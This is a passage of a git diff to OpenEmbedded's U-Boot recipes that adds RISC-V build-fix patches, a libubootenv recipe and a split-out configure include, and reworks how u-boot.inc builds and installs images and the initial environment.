-2.23.0
-
diff --git a/meta/recipes-bsp/u-boot/files/0001-riscv-fix-build-with-binutils-2.38.patch b/meta/recipes-bsp/u-boot/files/0001-riscv-fix-build-with-binutils-2.38.patch
new file mode 100644
index 0000000000..3598329b99
--- /dev/null
+++ b/meta/recipes-bsp/u-boot/files/0001-riscv-fix-build-with-binutils-2.38.patch
@@ -0,0 +1,40 @@
+From 26a7f6b1e4c5f715c03e59a623f0d620498b92cf Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Sun, 13 Feb 2022 21:11:31 -0800
+Subject: [PATCH] riscv: fix build with binutils 2.38
+
+From version 2.38, binutils default to ISA spec version 20191213. This
+means that the csr read/write (csrr*/csrw*) instructions and fence.i
+instruction has separated from the `I` extension, become two standalone
+extensions: Zicsr and Zifencei.
+
+The fix is to specify those extensions explicitely in -march. However as
+older binutils version do not support this, we first need to detect
+that.
+
+Fixes
+arch/riscv/lib/cache.c: Assembler messages:
+arch/riscv/lib/cache.c:12: Error: unrecognized opcode `fence.i'
+
+Upstream-Status: Submitted []
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ arch/riscv/Makefile | 7 ++++++-
+ 1 file changed, 6 insertions(+), 1 deletion(-)
+
+--- a/arch/riscv/Makefile
++++ b/arch/riscv/Makefile
+@@ -28,7 +28,12 @@ ifeq ($(CONFIG_CMODEL_MEDANY),y)
+ CMODEL = medany
+ endif
+
+-ARCH_FLAGS = -march=$(ARCH_BASE)$(ARCH_A)$(ARCH_F)$(ARCH_D)$(ARCH_C) -mabi=$(ABI) \
++# Newer binutils versions default to ISA spec version 20191213 which moves some
++# instructions from the I extension to the Zicsr and Zifencei extensions.
++toolchain-need-zicsr-zifencei := $(call cc-option-yn, -march=$(ARCH_BASE)$(ARCH_A)$(ARCH_F)$(ARCH_D)$(ARCH_C)_zicsr_zifencei)
++zicsr_zifencei-$(toolchain-need-zicsr-zifencei) := _zicsr_zifencei
++
++ARCH_FLAGS = -march=$(ARCH_BASE)$(ARCH_A)$(ARCH_F)$(ARCH_D)$(ARCH_C)$(zicsr_zifencei-y) -mabi=$(ABI) \
+ -mcmodel=$(CMODEL)
+
+ PLATFORM_CPPFLAGS += $(ARCH_FLAGS)
diff --git a/meta/recipes-bsp/u-boot/files/0001-riscv32-Use-double-float-ABI-for-rv32.patch b/meta/recipes-bsp/u-boot/files/0001-riscv32-Use-double-float-ABI-for-rv32.patch
new file mode 100644
index 0000000000..0bf1bef2c9
--- /dev/null
+++ b/meta/recipes-bsp/u-boot/files/0001-riscv32-Use-double-float-ABI-for-rv32.patch
@@ -0,0 +1,44 @@
+From 66dfe0fa886f6289add06d1af8642ce2b5302852 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Tue, 9 Feb 2021 16:40:12 -0800
+Subject: [PATCH] riscv32: Use double-float ABI for rv32
+
+So it can use libgcc built with OE toolchain
+Fixes
+error: "can't link hard-float modules with soft-float modules"
+
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+Upstream-Status: Inappropriate [embedded specific]
+---
+ arch/riscv/Makefile | 6 ++++--
+ 1 file changed, 4 insertions(+), 2 deletions(-)
+
+--- a/arch/riscv/Makefile
++++ b/arch/riscv/Makefile
+@@ -5,11 +5,15 @@
+
+ ifeq ($(CONFIG_ARCH_RV64I),y)
+ ARCH_BASE = rv64im
+- ABI = lp64
++ ABI = lp64d
++ ARCH_D = d
++ ARCH_F = f
+ endif
+ ifeq ($(CONFIG_ARCH_RV32I),y)
+ ARCH_BASE = rv32im
+- ABI = ilp32
++ ABI = ilp32d
++ ARCH_D = d
++ ARCH_F = f
+ endif
+ ifeq ($(CONFIG_RISCV_ISA_A),y)
+ ARCH_A = a
+@@ -24,7 +28,7 @@ ifeq ($(CONFIG_CMODEL_MEDANY),y)
+ CMODEL = medany
+ endif
+
+-ARCH_FLAGS = -march=$(ARCH_BASE)$(ARCH_A)$(ARCH_C) -mabi=$(ABI) \
++ARCH_FLAGS = -march=$(ARCH_BASE)$(ARCH_A)$(ARCH_F)$(ARCH_D)$(ARCH_C) -mabi=$(ABI) \
+ -mcmodel=$(CMODEL)
+
+ PLATFORM_CPPFLAGS += $(ARCH_FLAGS)
diff --git a/meta/recipes-bsp/u-boot/libubootenv_0.3.2.bb b/meta/recipes-bsp/u-boot/libubootenv_0.3.2.bb
new file mode 100644
index 0000000000..e8f58941cf
--- /dev/null
+++ b/meta/recipes-bsp/u-boot/libubootenv_0.3.2.bb
@@ -0,0 +1,26 @@
+SUMMARY = "U-Boot libraries and tools to access environment"
+
+DESCRIPTION = "This package contains tools and libraries to read \
+and modify U-Boot environment. \
+It provides a hardware-independent replacement for fw_printenv/setenv utilities \
+provided by U-Boot"
+
+HOMEPAGE = "https://github.com/sbabic/libubootenv"
+LICENSE = "LGPL-2.1-only"
+LIC_FILES_CHKSUM = "file://Licenses/lgpl-2.1.txt;md5=4fbd65380cdd255951079008b364516c"
+SECTION = "libs"
+
+SRC_URI = "git://github.com/sbabic/libubootenv;protocol=https;branch=master"
+SRCREV = "ba7564f5006d09bec51058cf4f5ac90d4dc18b3c"
+
+S = "${WORKDIR}/git"
+
+inherit cmake lib_package
+
+EXTRA_OECMAKE = "-DCMAKE_BUILD_TYPE=Release"
+
+DEPENDS = "zlib"
+PROVIDES += "u-boot-fw-utils"
+RPROVIDES:${PN}-bin += "u-boot-fw-utils"
+
+BBCLASSEXTEND = "native"
diff --git a/meta/recipes-bsp/u-boot/u-boot-common.inc b/meta/recipes-bsp/u-boot/u-boot-common.inc
index c3e458e925..8e78ea4a75 100644
--- a/meta/recipes-bsp/u-boot/u-boot-common.inc
+++ b/meta/recipes-bsp/u-boot/u-boot-common.inc
@@ -6,15 +6,17 @@ application code."
SECTION = "bootloaders"
DEPENDS += "flex-native bison-native"
-LICENSE = "GPLv2+"
-LIC_FILES_CHKSUM = "file://Licenses/README;md5=30503fd321432fc713238f582193b78e"
+LICENSE = "GPL-2.0-or-later"
+LIC_FILES_CHKSUM = "file://Licenses/README;md5=5a7450c57ffe5ae63fd732446b988025"
PE = "1"
# We use the revision in order to avoid having to fetch it from the
# repo during parse
-SRCREV = "61ba1244b548463dbfb3c5285b6b22e7c772c5bd"
+SRCREV = "d637294e264adfeb29f390dfc393106fd4d41b17"
-SRC_URI = "git://git.denx.de/u-boot.git \
+SRC_URI = "git://git.denx.de/u-boot.git;branch=master \
"
S = "${WORKDIR}/git"
+B = "${WORKDIR}/build"
+do_configure[cleandirs] = "${B}"
diff --git a/meta/recipes-bsp/u-boot/u-boot-configure.inc b/meta/recipes-bsp/u-boot/u-boot-configure.inc
new file mode 100644
index 0000000000..04e0894752
--- /dev/null
+++ b/meta/recipes-bsp/u-boot/u-boot-configure.inc
@@ -0,0 +1,39 @@
+# This provides the logic for creating the desired u-boot config,
+# accounting for any *.cfg files added to SRC_URI. It's separated
+# from u-boot.inc for use by recipes that need u-boot properly
+# configured but aren't doing a full build of u-boot itself (such as
+# its companion tools).
+
+inherit uboot-config cml1
+
+DEPENDS += "kern-tools-native"
+
+do_configure () {
+ if [ -n "${UBOOT_CONFIG}" ]; then
+ unset i j
+ for config in ${UBOOT_MACHINE}; do
+ i=$(expr $i + 1);
+ for type in ${UBOOT_CONFIG}; do
+ j=$(expr $j + 1);
+ if [ $j -eq $i ]; then
+ oe_runmake -C ${S} O=${B}/${config} ${config}
+ if [ -n "${@' '.join(find_cfgs(d))}" ]; then
+ merge_config.sh -m -O ${B}/${config} ${B}/${config}/.config ${@" ".join(find_cfgs(d))}
+ oe_runmake -C ${S} O=${B}/${config} oldconfig
+ fi
+ fi
+ done
+ unset j
+ done
+ unset i
+ DEVTOOL_DISABLE_MENUCONFIG=true
+ else
+ if [ -n "${UBOOT_MACHINE}" ]; then
+ oe_runmake -C ${S} O=${B} ${UBOOT_MACHINE}
+ else
+ oe_runmake -C ${S} O=${B} oldconfig
+ fi
+ merge_config.sh -m .config ${@" ".join(find_cfgs(d))}
+ cml1_do_configure
+ fi
+}
diff --git a/meta/recipes-bsp/u-boot/u-boot-fw-utils_2019.10.bb b/meta/recipes-bsp/u-boot/u-boot-fw-utils_2019.10.bb
deleted file mode 100644
index 04321b7b66..0000000000
--- a/meta/recipes-bsp/u-boot/u-boot-fw-utils_2019.10.bb
+++ /dev/null
@@ -1,36 +0,0 @@
-require u-boot-common.inc
-
-SUMMARY = "U-Boot bootloader fw_printenv/setenv utilities"
-DEPENDS += "mtd-utils"
-
-SRC_URI += "file://0001-include-env.h-Ensure-ulong-is-defined.patch"
-
-INSANE_SKIP_${PN} = "already-stripped"
-EXTRA_OEMAKE_class-target = 'CROSS_COMPILE=${TARGET_PREFIX} CC="${CC} ${CFLAGS} ${LDFLAGS}" HOSTCC="${BUILD_CC} ${BUILD_CFLAGS} ${BUILD_LDFLAGS}" V=1'
-EXTRA_OEMAKE_class-cross = 'HOSTCC="${CC} ${CFLAGS} ${LDFLAGS}" V=1'
-
-inherit uboot-config
-
-do_compile () {
- oe_runmake ${UBOOT_MACHINE}
- oe_runmake envtools
-}
-
-do_install () {
- install -d ${D}${base_sbindir}
- install -d ${D}${sysconfdir}
- install -m 755 ${S}/tools/env/fw_printenv ${D}${base_sbindir}/fw_printenv
- install -m 755 ${S}/tools/env/fw_printenv ${D}${base_sbindir}/fw_setenv
- install -m 0644 ${S}/tools/env/fw_env.config ${D}${sysconfdir}/fw_env.config
-}
-
-do_install_class-cross () {
- install -d ${D}${bindir_cross}
- install -m 755 ${S}/tools/env/fw_printenv ${D}${bindir_cross}/fw_printenv
- install -m 755 ${S}/tools/env/fw_printenv ${D}${bindir_cross}/fw_setenv
-}
-
-SYSROOT_DIRS_append_class-cross = " ${bindir_cross}"
-
-PACKAGE_ARCH = "${MACHINE_ARCH}"
-BBCLASSEXTEND = "cross"
diff --git a/meta/recipes-bsp/u-boot/u-boot-tools.inc b/meta/recipes-bsp/u-boot/u-boot-tools.inc
new file mode 100644
index 0000000000..7eda6a0897
--- /dev/null
+++ b/meta/recipes-bsp/u-boot/u-boot-tools.inc
@@ -0,0 +1,81 @@
+SUMMARY = "U-Boot bootloader tools"
+DEPENDS += "openssl"
+
+PROVIDES = "${MLPREFIX}u-boot-mkimage ${MLPREFIX}u-boot-mkenvimage"
+PROVIDES:class-native = "u-boot-mkimage-native u-boot-mkenvimage-native"
+
+PACKAGES += "${PN}-mkimage ${PN}-mkenvimage"
+
+# Required for backward compatibility with "u-boot-mkimage-xxx.bb"
+RPROVIDES:${PN}-mkimage = "u-boot-mkimage"
+RREPLACES:${PN}-mkimage = "u-boot-mkimage"
+RCONFLICTS:${PN}-mkimage = "u-boot-mkimage"
+
+EXTRA_OEMAKE:class-target = 'CROSS_COMPILE="${TARGET_PREFIX}" CC="${CC} ${CFLAGS} ${LDFLAGS}" HOSTCC="${BUILD_CC} ${BUILD_CFLAGS} ${BUILD_LDFLAGS}" STRIP=true V=1'
+EXTRA_OEMAKE:class-native = 'CC="${BUILD_CC} ${BUILD_CFLAGS} ${BUILD_LDFLAGS}" HOSTCC="${BUILD_CC} ${BUILD_CFLAGS} ${BUILD_LDFLAGS}" STRIP=true V=1'
+EXTRA_OEMAKE:class-nativesdk = 'CROSS_COMPILE="${HOST_PREFIX}" CC="${CC} ${CFLAGS} ${LDFLAGS}" HOSTCC="${BUILD_CC} ${BUILD_CFLAGS} ${BUILD_LDFLAGS}" STRIP=true V=1'
+
+SED_CONFIG_EFI = '-e "s/CONFIG_EFI_LOADER=.*/# CONFIG_EFI_LOADER is not set/"'
+SED_CONFIG_EFI:x86 = ''
+SED_CONFIG_EFI:x86-64 = ''
+SED_CONFIG_EFI:arm = ''
+SED_CONFIG_EFI:armeb = ''
+SED_CONFIG_EFI:aarch64 = ''
+
+do_compile () {
+ # Yes, this is crazy. If you build on a system with git < 2.14 from scratch, the tree will
+ # be marked as "dirty" and the version will include "-dirty", leading to a reproducibility problem.
+ # The issue is the inode count for Licnses/README changing due to do_populate_lic hardlinking a
+ # copy of the file. We avoid this by ensuring the index is updated with a "git diff" before the
+ # u-boot machinery tries to determine the version.
+ #
+ # build$ ../git/scripts/setlocalversion ../git
+ # ""
+ # build$ ln ../git/
+ # build$ ln ../git/README ../foo
+ # build$ ../git/scripts/setlocalversion ../git
+ # ""-dirty
+ # (i.e. creating a hardlink dirties the index)
+ cd ${S}; git diff; cd ${B}
+
+ oe_runmake -C ${S} sandbox_defconfig O=${B}
+
+ # Disable CONFIG_CMD_LICENSE, license.h is not used by tools and
+ # generating it requires bin2header tool, which for target build
+ # is built with target tools and thus cannot be executed on host.
+ sed -i -e "s/CONFIG_CMD_LICENSE=.*/# CONFIG_CMD_LICENSE is not set/" ${SED_CONFIG_EFI} ${B}/.config
+
+ oe_runmake -C ${S} cross_tools NO_SDL=1 O=${B}
+}
+
+do_install () {
+ install -d ${D}${bindir}
+
+ # mkimage
+ install -m 0755 tools/mkimage ${D}${bindir}/uboot-mkimage
+ ln -sf uboot-mkimage ${D}${bindir}/mkimage
+
+ # mkenvimage
+ install -m 0755 tools/mkenvimage ${D}${bindir}/uboot-mkenvimage
+ ln -sf uboot-mkenvimage ${D}${bindir}/mkenvimage
+
+ # dumpimage
+ install -m 0755 tools/dumpimage ${D}${bindir}/uboot-dumpimage
+ ln -sf uboot-dumpimage ${D}${bindir}/dumpimage
+
+ # fit_check_sign
+ install -m 0755 tools/fit_check_sign ${D}${bindir}/uboot-fit_check_sign
+ ln -sf uboot-fit_check_sign ${D}${bindir}/fit_check_sign
+}
+
+ALLOW_EMPTY:${PN} = "1"
+FILES:${PN} = ""
+FILES:${PN}-mkimage = "${bindir}/uboot-mkimage ${bindir}/mkimage ${bindir}/uboot-dumpimage ${bindir}/dumpimage ${bindir}/uboot-fit_check_sign ${bindir}/fit_check_sign"
+FILES:${PN}-mkenvimage = "${bindir}/uboot-mkenvimage ${bindir}/mkenvimage"
+
+RDEPENDS:${PN}-mkimage += "dtc"
+RDEPENDS:${PN} += "${PN}-mkimage ${PN}-mkenvimage"
+RDEPENDS:${PN}:class-native = ""
+
+BBCLASSEXTEND = "native nativesdk"
+
diff --git a/meta/recipes-bsp/u-boot/u-boot-tools_2019.10.bb b/meta/recipes-bsp/u-boot/u-boot-tools_2019.10.bb
deleted file mode 100644
index bede984ef7..0000000000
--- a/meta/recipes-bsp/u-boot/u-boot-tools_2019.10.bb
+++ /dev/null
@@ -1,67 +0,0 @@
-require u-boot-common.inc
-
-SUMMARY = "U-Boot bootloader tools"
-DEPENDS += "openssl"
-
-PROVIDES = "${MLPREFIX}u-boot-mkimage ${MLPREFIX}u-boot-mkenvimage"
-PROVIDES_class-native = "u-boot-mkimage-native u-boot-mkenvimage-native"
-
-PACKAGES += "${PN}-mkimage ${PN}-mkenvimage"
-
-# Required for backward compatibility with "u-boot-mkimage-xxx.bb"
-RPROVIDES_${PN}-mkimage = "u-boot-mkimage"
-RREPLACES_${PN}-mkimage = "u-boot-mkimage"
-RCONFLICTS_${PN}-mkimage = "u-boot-mkimage"
-
-EXTRA_OEMAKE_class-target = 'CROSS_COMPILE="${TARGET_PREFIX}" CC="${CC} ${CFLAGS} ${LDFLAGS}" HOSTCC="${BUILD_CC} ${BUILD_CFLAGS} ${BUILD_LDFLAGS}" STRIP=true V=1'
-EXTRA_OEMAKE_class-native = 'CC="${BUILD_CC} ${BUILD_CFLAGS} ${BUILD_LDFLAGS}" HOSTCC="${BUILD_CC} ${BUILD_CFLAGS} ${BUILD_LDFLAGS}" STRIP=true V=1'
-EXTRA_OEMAKE_class-nativesdk = 'CROSS_COMPILE="${HOST_PREFIX}" CC="${CC} ${CFLAGS} ${LDFLAGS}" HOSTCC="${BUILD_CC} ${BUILD_CFLAGS} ${BUILD_LDFLAGS}" STRIP=true V=1'
-
-SED_CONFIG_EFI = '-e "s/CONFIG_EFI_LOADER=.*/# CONFIG_EFI_LOADER is not set/"'
-SED_CONFIG_EFI_x86 = ''
-SED_CONFIG_EFI_x86-64 = ''
-SED_CONFIG_EFI_arm = ''
-SED_CONFIG_EFI_armeb = ''
-SED_CONFIG_EFI_aarch64 = ''
-
-do_compile () {
- oe_runmake sandbox_defconfig
-
- # Disable CONFIG_CMD_LICENSE, license.h is not used by tools and
- # generating it requires bin2header tool, which for target build
- # is built with target tools and thus cannot be executed on host.
- sed -i -e "s/CONFIG_CMD_LICENSE=.*/# CONFIG_CMD_LICENSE is not set/" ${SED_CONFIG_EFI} .config
-
- oe_runmake cross_tools NO_SDL=1
-}
-
-do_install () {
- install -d ${D}${bindir}
-
- # mkimage
- install -m 0755 tools/mkimage ${D}${bindir}/uboot-mkimage
- ln -sf uboot-mkimage ${D}${bindir}/mkimage
-
- # mkenvimage
- install -m 0755 tools/mkenvimage ${D}${bindir}/uboot-mkenvimage
- ln -sf uboot-mkenvimage ${D}${bindir}/mkenvimage
-
- # dumpimage
- install -m 0755 tools/dumpimage ${D}${bindir}/uboot-dumpimage
- ln -sf uboot-dumpimage ${D}${bindir}/dumpimage
-
- # fit_check_sign
- install -m 0755 tools/fit_check_sign ${D}${bindir}/uboot-fit_check_sign
- ln -sf uboot-fit_check_sign ${D}${bindir}/fit_check_sign
-}
-
-ALLOW_EMPTY_${PN} = "1"
-FILES_${PN} = ""
-FILES_${PN}-mkimage = "${bindir}/uboot-mkimage ${bindir}/mkimage ${bindir}/uboot-dumpimage ${bindir}/dumpimage ${bindir}/uboot-fit_check_sign ${bindir}/fit_check_sign"
-FILES_${PN}-mkenvimage = "${bindir}/uboot-mkenvimage ${bindir}/mkenvimage"
-
-RDEPENDS_${PN}-mkimage += "dtc"
-RDEPENDS_${PN} += "${PN}-mkimage ${PN}-mkenvimage"
-RDEPENDS_${PN}_class-native = ""
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-bsp/u-boot/u-boot-tools_2022.01.bb b/meta/recipes-bsp/u-boot/u-boot-tools_2022.01.bb
new file mode 100644
index 0000000000..7eaf721ca8
--- /dev/null
+++ b/meta/recipes-bsp/u-boot/u-boot-tools_2022.01.bb
@@ -0,0 +1,2 @@
+require u-boot-common.inc
+require u-boot-tools.inc
diff --git a/meta/recipes-bsp/u-boot/u-boot.inc b/meta/recipes-bsp/u-boot/u-boot.inc
index 9a754fd09b..f022aed732 100644
--- a/meta/recipes-bsp/u-boot/u-boot.inc
+++ b/meta/recipes-bsp/u-boot/u-boot.inc
@@ -1,19 +1,17 @@
SUMMARY = "Universal Boot Loader for embedded devices"
PROVIDES = "virtual/bootloader"
-B = "${WORKDIR}/build"
-
PACKAGE_ARCH = "${MACHINE_ARCH}"
-DEPENDS += "kern-tools-native"
+DEPENDS += "${@bb.utils.contains('UBOOT_ENV_SUFFIX', 'scr', 'u-boot-mkimage-native', '', d)}"
-inherit uboot-config uboot-extlinux-config uboot-sign deploy cml1
+inherit uboot-config uboot-extlinux-config uboot-sign deploy cml1 python3native kernel-arch
-DEPENDS += "swig-native python-native"
+DEPENDS += "swig-native"
EXTRA_OEMAKE = 'CROSS_COMPILE=${TARGET_PREFIX} CC="${TARGET_PREFIX}gcc ${TOOLCHAIN_OPTIONS}" V=1'
EXTRA_OEMAKE += 'HOSTCC="${BUILD_CC} ${BUILD_CFLAGS} ${BUILD_LDFLAGS}"'
-EXTRA_OEMAKE += 'PYTHON2=nativepython STAGING_INCDIR=${STAGING_INCDIR_NATIVE} STAGING_LIBDIR=${STAGING_LIBDIR_NATIVE}'
+EXTRA_OEMAKE += 'STAGING_INCDIR=${STAGING_INCDIR_NATIVE} STAGING_LIBDIR=${STAGING_LIBDIR_NATIVE}'
PACKAGECONFIG ??= "openssl"
# u-boot will compile its own tools during the build, with specific
@@ -26,86 +24,24 @@ PACKAGECONFIG[openssl] = ",,openssl-native"
# file already exists it will not be overwritten.
UBOOT_LOCALVERSION ?= ""
-# Some versions of u-boot use .bin and others use .img. By default use .bin
-# but enable individual recipes to change this value.
-UBOOT_SUFFIX ??= "bin"
-UBOOT_IMAGE ?= "u-boot-${MACHINE}-${PV}-${PR}.${UBOOT_SUFFIX}"
-UBOOT_SYMLINK ?= "u-boot-${MACHINE}.${UBOOT_SUFFIX}"
-UBOOT_MAKE_TARGET ?= "all"
-
-# Output the ELF generated. Some platforms can use the ELF file and directly
-# load it (JTAG booting, QEMU) additionally the ELF can be used for debugging
-# purposes.
-UBOOT_ELF ?= ""
-UBOOT_ELF_SUFFIX ?= "elf"
-UBOOT_ELF_IMAGE ?= "u-boot-${MACHINE}-${PV}-${PR}.${UBOOT_ELF_SUFFIX}"
-UBOOT_ELF_BINARY ?= "u-boot.${UBOOT_ELF_SUFFIX}"
-UBOOT_ELF_SYMLINK ?= "u-boot-${MACHINE}.${UBOOT_ELF_SUFFIX}"
-
-# Some versions of u-boot build an SPL (Second Program Loader) image that
-# should be packaged along with the u-boot binary as well as placed in the
-# deploy directory. For those versions they can set the following variables
-# to allow packaging the SPL.
-SPL_BINARY ?= ""
-SPL_BINARYNAME ?= "${@os.path.basename(d.getVar("SPL_BINARY"))}"
-SPL_IMAGE ?= "${SPL_BINARYNAME}-${MACHINE}-${PV}-${PR}"
-SPL_SYMLINK ?= "${SPL_BINARYNAME}-${MACHINE}"
-
-# Additional environment variables or a script can be installed alongside
-# u-boot to be used automatically on boot. This file, typically 'uEnv.txt'
-# or 'boot.scr', should be packaged along with u-boot as well as placed in the
-# deploy directory. Machine configurations needing one of these files should
-# include it in the SRC_URI and set the UBOOT_ENV parameter.
-UBOOT_ENV_SUFFIX ?= "txt"
-UBOOT_ENV ?= ""
-UBOOT_ENV_BINARY ?= "${UBOOT_ENV}.${UBOOT_ENV_SUFFIX}"
-UBOOT_ENV_IMAGE ?= "${UBOOT_ENV}-${MACHINE}-${PV}-${PR}.${UBOOT_ENV_SUFFIX}"
-UBOOT_ENV_SYMLINK ?= "${UBOOT_ENV}-${MACHINE}.${UBOOT_ENV_SUFFIX}"
-
-# U-Boot EXTLINUX variables. U-Boot searches for /boot/extlinux/extlinux.conf
-# to find EXTLINUX conf file.
-UBOOT_EXTLINUX_INSTALL_DIR ?= "/boot/extlinux"
-UBOOT_EXTLINUX_CONF_NAME ?= "extlinux.conf"
-UBOOT_EXTLINUX_SYMLINK ?= "${UBOOT_EXTLINUX_CONF_NAME}-${MACHINE}-${PR}"
-
-# returns all the elements from the src uri that are .cfg files
-def find_cfgs(d):
- sources=src_patches(d, True)
- sources_list=[]
- for s in sources:
- if s.endswith('.cfg'):
- sources_list.append(s)
-
- return sources_list
-
-do_configure () {
- if [ -z "${UBOOT_CONFIG}" ]; then
- if [ -n "${UBOOT_MACHINE}" ]; then
- oe_runmake -C ${S} O=${B} ${UBOOT_MACHINE}
- else
- oe_runmake -C ${S} O=${B} oldconfig
- fi
- merge_config.sh -m .config ${@" ".join(find_cfgs(d))}
- cml1_do_configure
- fi
-}
+require u-boot-configure.inc
do_compile () {
- if [ "${@bb.utils.filter('DISTRO_FEATURES', 'ld-is-gold', d)}" ]; then
- sed -i 's/$(CROSS_COMPILE)ld$/$(CROSS_COMPILE)ld.bfd/g' ${S}/config.mk
- fi
+ if [ "${@bb.utils.filter('DISTRO_FEATURES', 'ld-is-gold', d)}" ]; then
+ sed -i 's/$(CROSS_COMPILE)ld$/$(CROSS_COMPILE)ld.bfd/g' ${S}/config.mk
+ fi
- unset LDFLAGS
- unset CFLAGS
- unset CPPFLAGS
+ unset LDFLAGS
+ unset CFLAGS
+ unset CPPFLAGS
- if [ ! -e ${B}/.scmversion -a ! -e ${S}/.scmversion ]
- then
- echo ${UBOOT_LOCALVERSION} > ${B}/.scmversion
- echo ${UBOOT_LOCALVERSION} > ${S}/.scmversion
- fi
+ if [ ! -e ${B}/.scmversion -a ! -e ${S}/.scmversion ]
+ then
+ echo ${UBOOT_LOCALVERSION} > ${B}/.scmversion
+ echo ${UBOOT_LOCALVERSION} > ${S}/.scmversion
+ fi
- if [ -n "${UBOOT_CONFIG}" ]
+ if [ -n "${UBOOT_CONFIG}" -o -n "${UBOOT_DELTA_CONFIG}" ]
then
unset i j k
for config in ${UBOOT_MACHINE}; do
@@ -114,24 +50,39 @@ do_compile () {
j=$(expr $j + 1);
if [ $j -eq $i ]
then
- oe_runmake -C ${S} O=${B}/${config} ${config}
oe_runmake -C ${S} O=${B}/${config} ${UBOOT_MAKE_TARGET}
for binary in ${UBOOT_BINARIES}; do
k=$(expr $k + 1);
if [ $k -eq $i ]; then
- cp ${B}/${config}/${binary} ${B}/${config}/u-boot-${type}.${UBOOT_SUFFIX}
+ cp ${B}/${config}/${binary} ${B}/${config}/${UBOOT_BINARYNAME}-${type}.${UBOOT_SUFFIX}
fi
done
+
+ # Generate the uboot-initial-env
+ if [ -n "${UBOOT_INITIAL_ENV}" ]; then
+ oe_runmake -C ${S} O=${B}/${config} u-boot-initial-env
+ cp ${B}/${config}/u-boot-initial-env ${B}/${config}/u-boot-initial-env-${type}
+ fi
+
unset k
fi
done
- unset j
+ unset j
done
- unset i
+ unset i
else
oe_runmake -C ${S} O=${B} ${UBOOT_MAKE_TARGET}
+
+ # Generate the uboot-initial-env
+ if [ -n "${UBOOT_INITIAL_ENV}" ]; then
+ oe_runmake -C ${S} O=${B} u-boot-initial-env
+ fi
fi
+ if [ -n "${UBOOT_ENV}" ] && [ "${UBOOT_ENV_SUFFIX}" = "scr" ]
+ then
+ ${UBOOT_MKIMAGE} -C none -A ${UBOOT_ARCH} -T script -d ${WORKDIR}/${UBOOT_ENV_SRC} ${WORKDIR}/${UBOOT_ENV_BINARY}
+ fi
}
do_install () {
@@ -143,19 +94,32 @@ do_install () {
j=$(expr $j + 1);
if [ $j -eq $i ]
then
- install -d ${D}/boot
- install -m 644 ${B}/${config}/u-boot-${type}.${UBOOT_SUFFIX} ${D}/boot/u-boot-${type}-${PV}-${PR}.${UBOOT_SUFFIX}
- ln -sf u-boot-${type}-${PV}-${PR}.${UBOOT_SUFFIX} ${D}/boot/${UBOOT_BINARY}-${type}
- ln -sf u-boot-${type}-${PV}-${PR}.${UBOOT_SUFFIX} ${D}/boot/${UBOOT_BINARY}
+ install -D -m 644 ${B}/${config}/${UBOOT_BINARYNAME}-${type}.${UBOOT_SUFFIX} ${D}/boot/${UBOOT_BINARYNAME}-${type}-${PV}-${PR}.${UBOOT_SUFFIX}
+ ln -sf ${UBOOT_BINARYNAME}-${type}-${PV}-${PR}.${UBOOT_SUFFIX} ${D}/boot/${UBOOT_BINARY}-${type}
+ ln -sf ${UBOOT_BINARYNAME}-${type}-${PV}-${PR}.${UBOOT_SUFFIX} ${D}/boot/${UBOOT_BINARY}
+
+ # Install the uboot-initial-env
+ if [ -n "${UBOOT_INITIAL_ENV}" ]; then
+ install -D -m 644 ${B}/${config}/u-boot-initial-env-${type} ${D}/${sysconfdir}/${UBOOT_INITIAL_ENV}-${MACHINE}-${type}-${PV}-${PR}
+ ln -sf ${UBOOT_INITIAL_ENV}-${MACHINE}-${type}-${PV}-${PR} ${D}/${sysconfdir}/${UBOOT_INITIAL_ENV}-${MACHINE}-${type}
+ ln -sf ${UBOOT_INITIAL_ENV}-${MACHINE}-${type}-${PV}-${PR} ${D}/${sysconfdir}/${UBOOT_INITIAL_ENV}-${type}
+ ln -sf ${UBOOT_INITIAL_ENV}-${MACHINE}-${type}-${PV}-${PR} ${D}/${sysconfdir}/${UBOOT_INITIAL_ENV}
+ fi
fi
done
- unset j
+ unset j
done
- unset i
+ unset i
else
- install -d ${D}/boot
- install -m 644 ${B}/${UBOOT_BINARY} ${D}/boot/${UBOOT_IMAGE}
+ install -D -m 644 ${B}/${UBOOT_BINARY} ${D}/boot/${UBOOT_IMAGE}
ln -sf ${UBOOT_IMAGE} ${D}/boot/${UBOOT_BINARY}
+
+ # Install the uboot-initial-env
+ if [ -n "${UBOOT_INITIAL_ENV}" ]; then
+ install -D -m 644 ${B}/u-boot-initial-env ${D}/${sysconfdir}/${UBOOT_INITIAL_ENV}-${MACHINE}-${PV}-${PR}
+ ln -sf ${UBOOT_INITIAL_ENV}-${MACHINE}-${PV}-${PR} ${D}/${sysconfdir}/${UBOOT_INITIAL_ENV}-${MACHINE}
+ ln -sf ${UBOOT_INITIAL_ENV}-${MACHINE}-${PV}-${PR} ${D}/${sysconfdir}/${UBOOT_INITIAL_ENV}
+ fi
fi
if [ -n "${UBOOT_ELF}" ]
@@ -197,17 +161,17 @@ do_install () {
j=$(expr $j + 1);
if [ $j -eq $i ]
then
- install -m 644 ${B}/${config}/${SPL_BINARY} ${D}/boot/${SPL_IMAGE}-${type}-${PV}-${PR}
- ln -sf ${SPL_IMAGE}-${type}-${PV}-${PR} ${D}/boot/${SPL_BINARYNAME}-${type}
- ln -sf ${SPL_IMAGE}-${type}-${PV}-${PR} ${D}/boot/${SPL_BINARYNAME}
+ install -m 644 ${B}/${config}/${SPL_BINARY} ${D}/boot/${SPL_BINARYNAME}-${type}-${PV}-${PR}${SPL_DELIMITER}${SPL_SUFFIX}
+ ln -sf ${SPL_BINARYNAME}-${type}-${PV}-${PR}${SPL_DELIMITER}${SPL_SUFFIX} ${D}/boot/${SPL_BINARYFILE}-${type}
+ ln -sf ${SPL_BINARYNAME}-${type}-${PV}-${PR}${SPL_DELIMITER}${SPL_SUFFIX} ${D}/boot/${SPL_BINARYFILE}
fi
done
- unset j
+ unset j
done
- unset i
+ unset i
else
install -m 644 ${B}/${SPL_BINARY} ${D}/boot/${SPL_IMAGE}
- ln -sf ${SPL_IMAGE} ${D}/boot/${SPL_BINARYNAME}
+ ln -sf ${SPL_IMAGE} ${D}/boot/${SPL_BINARYFILE}
fi
fi
@@ -221,10 +185,22 @@ do_install () {
then
